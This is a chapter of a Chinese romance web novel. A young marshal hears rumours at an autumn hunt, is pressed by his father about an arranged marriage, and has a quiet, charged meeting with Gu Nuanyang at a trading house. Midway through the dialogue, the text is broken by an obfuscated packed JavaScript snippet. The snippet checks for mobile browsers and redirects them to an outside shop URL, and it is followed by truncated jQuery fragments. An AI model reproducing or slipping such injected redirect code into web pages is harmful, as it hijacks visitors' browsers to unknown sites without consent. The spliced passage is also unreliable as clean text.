流言真正烧起来是在一场秋猎之后。
入秋第二场宴，是城西周家办的围猎会。周家在军政两界不算最拔尖的门户，胜在交游广阔，与各方都沾着亲带故。
围猎场设在城北十里外的缓坡上，杂木林混着稀疏的松柏，秋深了枫叶烧得漫山遍野的红，风吹过去像整座山坡在颤。这一日请了城里大半有头脸的人家，马匹、弓箭、野味，打完了就近支起帐篷烤肉喝酒，比正经宴席松快些，人也放得开。
陆青松到的时候赵明宇已经牵了一匹枣红马在场子里遛了两圈。他远远看见陆青松骑马入场，勒了缰绳在道旁等了等，隔了十来步的距离躬身叫了声"少帅"，脸上堆着殷勤的笑。
陆青松略一点头从他身侧过了，马蹄踏过积了落叶的草地，压出一串松软的闷响。
围猎开始后各人散进了林子。陆青松策马沿着坡脊走了一段，林间光线从枝叶缝隙间漏下来，落在马鞍和马靴上，明一块暗一块地跳动着。他没有刻意追猎物，只是沿着地势慢行，偶尔拉弓射一两只惊起的野兔，准头仍在，只是兴致不浓。
林子里马蹄声交错来往，有人在远处吆喝着追一头鹿，喝声在树丛间回荡着。
陆青松勒马停在一棵老枫树底下，弯腰从靴筒里摸出军用水壶喝了口水，正要重新收缰，听见林子侧前方有人声传来。
"……赵兄方才说的事，当真亲眼见过？"
"我亲眼没见着，可我底下的人见着了。车在顾家后街巷口停了快一个时辰，窗户开着又不下来，你说这叫什么事？一个少帅，有正正经经的未婚妻在商行里坐着，他跑去盯小少爷的窗户。"
"那也不能说明什么吧，说不定是路——"
"路什么路。上次医院里我还亲眼看着他拿巧克力出来呢，那个牌子全城就顾家小少爷从英国带回来那一批有。你见过陆少帅吃甜食？"
笑声压得很低，带着一种夹在暧昧和猎奇之间的油滑。然后那声音继续往林子深处去了，马蹄声渐渐远了。
陆青松勒着缰绳站在原地没动。
枫叶从枝头落了一片正正好砸在他的肩章上，他低头看了一眼那片被霜染透了的红叶，抬手拈下来，搁在旁边的树枝上。马喷了个响鼻，甩了甩尾巴。
他调转马头从另一条路出了林子。
午后围猎结束，众人在坡下平地上架起了烤架。
整只的鹿和野兔被串在铁钎上翻烤，油脂滴进炭火里滋啦啦地窜起一阵阵白烟，香气混着松木燃烧的焦苦味弥漫了整片空地。帐篷入口处摆了几张矮桌，酒坛子开了封，用竹勺舀着分到各人碗里，热热闹闹地传了一圈。
陆青松坐在主位左侧的木墩子上，端着一碗酒慢慢喝。他没有脱手套，深色皮手套裹着修长的指节，握着粗陶碗的边沿，碗沿的热气蒸上来覆在皮面上凝成一层细密的水珠。
他面上没什么表情，偶尔有人过来敬酒便举碗回一下，话不多，冷肃的气场压在那张脸上，像深秋山脊上一块冻透了的石头。
赵明宇端着酒碗走过来时陆青松正低头看碗里残酒。赵明宇在他侧前方站定，笑吟吟地举了举碗："少帅今日收获不少，那头鹿的角看着品相好。"
陆青松抬眼看了他一下。
日光从帐篷顶的缝隙里漏下来一条窄窄的金线，正正落在赵明宇的眼镜片上，反出一道刺目的光。陆青松把碗举起来，貌似礼貌性的示意了一下："赵小少爷客气。"
赵明宇喝了半碗酒，用袖口擦了擦嘴角，目光往四周扫了一圈，压低了声音凑过来："少帅，这满场子的人，顾家怎么一个都没来？顾大小姐忙着商行的事不稀奇，顾家小少爷前些日子病了一场，不来也情有可原。不过……"他顿了顿，碗沿抵着下唇，含着一层半真半假的关切，"听说病得不轻，烧了几天呢，少帅可知道？"
陆青松把空碗搁在桌面上。
碗底碰木桌的那一声很轻，但赵明宇的话头被这一声截得刚刚好。陆青松没有接他的话，只是站起身来拍了拍手套上沾的草屑，朝场子中央走了两步，背对着他。
"赵小少爷消息灵通。"他说。声音不高不低，裹着秋风的凉，听不出喜怒。
赵明宇在他背后又笑了笑，那笑容挂在脸上像一张贴得不太服帖的纸。他端着酒碗退开几步重新融回人群里，和几个世家子弟凑到一处说了两句什么，几个人同时往陆青松的方向看了一眼，又同时收回了目光。
陆青松没有回头。
他站在场子边缘看着远处层叠的山脊，暮色正在从林梢最顶端开始漫下来，把枫叶的红压成了一片暗沉沉的赭色。他攥了攥手套里的手指，皮料摩擦着指节发出细微的革响。
回城的路上陆青松骑马走在队伍末尾。常青跟在他身侧，面色踌躇了几回终于开口："少帅，今日赵家那位……"
"不用管他。"陆青松截了话头。马蹄踏在官道的碎石路面上，蹬蹬蹬的声调均匀而沉。他伸手理了理被风吹散的领口，指尖触到风纪扣的铜面，凉得他手指一缩。
常青不再说话了，只是默默策马跟在他身后半个马身的位置上。主仆二人一前一后地走完了回城那段路，路过东城时陆青松的目光自然而然地向顾家商行的方向偏了一偏。商行的门已经关了，门板合得严严实实，只在门缝里透出极细的一线灯火。
他收回目光策马过了。马蹄声在石板路上渐渐远成了一串回音。
又过了两天，陆父的第二封信到了。
这回没有火漆封口，而是直接由陆家老宅的一个管事当面送来的。管事四五十岁的年纪，穿了件灰绸长褂，站在督军府前厅里躬身递信，态度恭谨，语气却带着老家主亲自过问才会有的分量："老帅说了，请少帅看过信后给个回话。"
陆青松拆了信当着管事的面看了。信的内容比上回更直白："前信已阅，未见回复。顾家那边我已着人递话过去议婚期，你莫再拖。陆家门风不容闲话玷污，你若还有些许做长子的担当，便早日把婚事办了。"
他合上信纸抬头看向管事，面上仍是波澜不惊的冷。他把信纸折好收入袖中，对管事说："回话给父亲，信已收悉。婚期之事容我再考量几日，待手头军务安顿妥当自会亲自回老宅面禀。"
管事躬身退下了。
前厅门关上之后陆青松在原地站了一会儿，低头看着自己握信的那只手。指节微微泛着白，折痕压在手心里一道深深的印。
他回到书房把那封信和上一封并排放进公文簿里，合上簿子搁进书架中层。然后他坐回桌前，批了半个时辰的文书，批到一半忽然搁了笔，拉开抽屉摸了摸那个薄荷糖盒，空的。他合上抽屉，食指在桌面上无意识地画了两道弧。
到了傍晚，常青进来报说外面有人送东西来了。
他手里托着一个小纸包，白棉纸裹着，用细麻绳扎了个十字结，纸面上没留名字。陆青松接过来解开麻绳拆开纸包，里面是一小袋糖炒栗子，还冒着微温的热气，纸包最底下压了一张对折的便笺。
他展开便笺，字迹圆润潦草，笔画往外撇着，和上回那张纸条一个模样："我好了。栗子也是刚出锅的，趁热。你要是不吃我就站门口等你吃完。"
陆青松攥着那张便笺看了两遍。纸面上还带着一丝若有若无的柑橘香，淡淡的，像是从什么衣料上蹭过来的。他把便笺折好放进抽屉最里面的夹层，和上回那张银杏叶书签的纸条搁在一处，两张纸并排贴着。
然后他拿起那袋栗子，剥了一颗放进嘴里。
还是热的，甜而绵软，栗肉在舌尖上化开，咽下去时喉间漫开一股暖烘烘的焦香。他剥了第二颗、第三颗，慢慢吃完了小半袋，把剩下的仔仔细细包好放在桌角。
他没有出去。
但第二日他去了商行。以公务的名义——军需被服的尺寸校对有些出入，需要找顾君澜当面核实。
他坐在商行二楼会客室里翻着被服的样品册，等顾君澜从外头谈完事回来。
等了大约一炷香的工夫，门被推开，进来的却是顾暖阳。
少年穿了件米白色的圆领毛衣，领口翻出一截浅蓝衬衫的尖角，脸颊恢复了血色，整个人看着比病前瘦了一小圈，下巴尖了些，但那双眼睛亮得很。
他推门看见陆青松时脚步顿了一下，随即弯起嘴角走过来，在陆青松对面的椅子上坐下，两只手搭在膝盖上，规规矩矩的。
"你来办事？"他问。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740114|209094||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
"等你姐。"
"我姐去东街了，一时半会儿回不来。"顾暖阳歪了歪头，目光落在桌角那本样品册上，又移回陆青松脸上，"你昨晚收到栗子了？"
陆青松"嗯"了一声。
"好吃吗？"
"嗯。"
顾暖阳往前倾了倾身，胳膊肘撑在膝盖上，下巴搁在手背里仰脸看他。这个姿势让他整个人显得比实际年龄还要小几岁，软绵绵的一团米白色伏在桌子对面，只有眼珠亮晶晶地转着。他看了陆青松一会儿，忽然轻声说："你瘦了。"
陆青松的喉结动了一下。
"你也是。"他说。
顾暖阳怔了一瞬，然后那个笑慢慢从他眼底溢出来，像一盏灯被人拧亮了灯芯，光从最里面一层一层地往外透。他伸出手越过桌面，指尖在距离陆青松手背还有一寸的地方停住了，悬在那里不动，像一个问句在半空里等着回答。
陆青松低头看着那只手。
干净的、暖烘烘的，指尖还残留着病后微微的泛红。
他把自己的手从样品册上移开，指腹贴上了桌面，离少年的指尖更近了些，近到几乎能感觉到那几根手指散发的温度。
但他没有握住。
两个人之间的桌面上，两只手隔着半寸的距离相对悬着，谁也没再往前。阳光从窗外斜照进来，正好落在两人手指中间那条窄窄的缝上，把缝隙里浮动的尘埃照得金光闪闪。
"你爹给你写信了。"顾暖阳收回手，靠回椅背上，语气平缓，"我爹也找我谈过了。他说要我离你远些，别坏了陆顾两家的联姻大计。"
"你怎么答的？"
顾暖阳笑了笑。那个笑弧度不大，可里面有一种很稳的、定了主意之后才有的安然："我说，联姻大计是我姐的事，跟她商量去。我的事我自己管。"
陆青松看着他。窗外的光把少年的轮廓勾出了一圈柔和的边线，毛衣的绒毛在逆光里泛着一层细碎的光晕。他忽然觉得有一股什么力量在从他身体最深处往上顶，撑着他的脊梁骨，想要他站起来、走过去、把手伸出去——伸到对岸去，握住那只悬在桌面上的、温热的、执拗的、不知后退为何物的手。
但他没有动。
他听见走廊里传来脚步声，顾君澜的高跟鞋敲在木地板上"嗒嗒嗒"地近了。那股力量在最后一刻被他压了回去，压进胸腔最底下那个上了锁的木匣子里。
门开了。
顾君澜挟着一阵风走进来，手里捏着一沓单子，看见会客室里的两个人时挑了挑眉，什么也没说，只是把单子搁在桌上开始谈正事。尺寸校对核对完了便起身送客，陆青松拿了批复的册子下楼，顾暖阳没有跟出来送。
他坐在原处，低头看着桌面。
方才两人手指之间那条窄窄的日光缝已经移走了，落在了桌角那本样品册的封面上，暖融融的一小片。
陆青松上了车。
发动引擎之前他靠在驾驶座上闭了眼，指尖搭在方向盘上微微收紧。耳畔回响着少年方才那句"我的事我自己管"，一遍又一遍的，像锤子敲在什么东西的表面上，把那层壳敲出了一道又一道细纹。
他用指节抵了抵眉心。然后发动引擎，驶离了商行后街。
车子拐上大路时他没有看见，商行二楼的窗边，顾暖阳正趴在窗台上往下看，下巴搁在手背上，目光追着那辆深色军车直到它在街尾拐弯处消失了。
他看了一会儿，从口袋里掏出那个铁皮小盒拧开锁，把里面那张纸笺又看了一遍。"我不怕"三个字被他的指腹摩挲了太多遍，纸面的纤维起了毛，摸上去绒绒的。
他把纸笺折好放回去锁上盖子，重新揣进口袋里。
秋天的风从窗口灌进来卷起他额前的碎发，他眯了眯眼，窗外的梧桐叶子还在落，一片一片打着旋往下坠，落到地面上时发出极轻的"啪"声。
远处，东城赵家院子的后门，一个灰布短打的伙计快步走进巷子深处。他手里攥着一封刚刚封好口的信，信封上没署名，只描了一个小小的暗记。
风从巷口灌进来，把墙角堆积的落叶掀得哗哗作响。伙计把信揣进怀里紧了紧衣领，低头快步没入了暮色之中。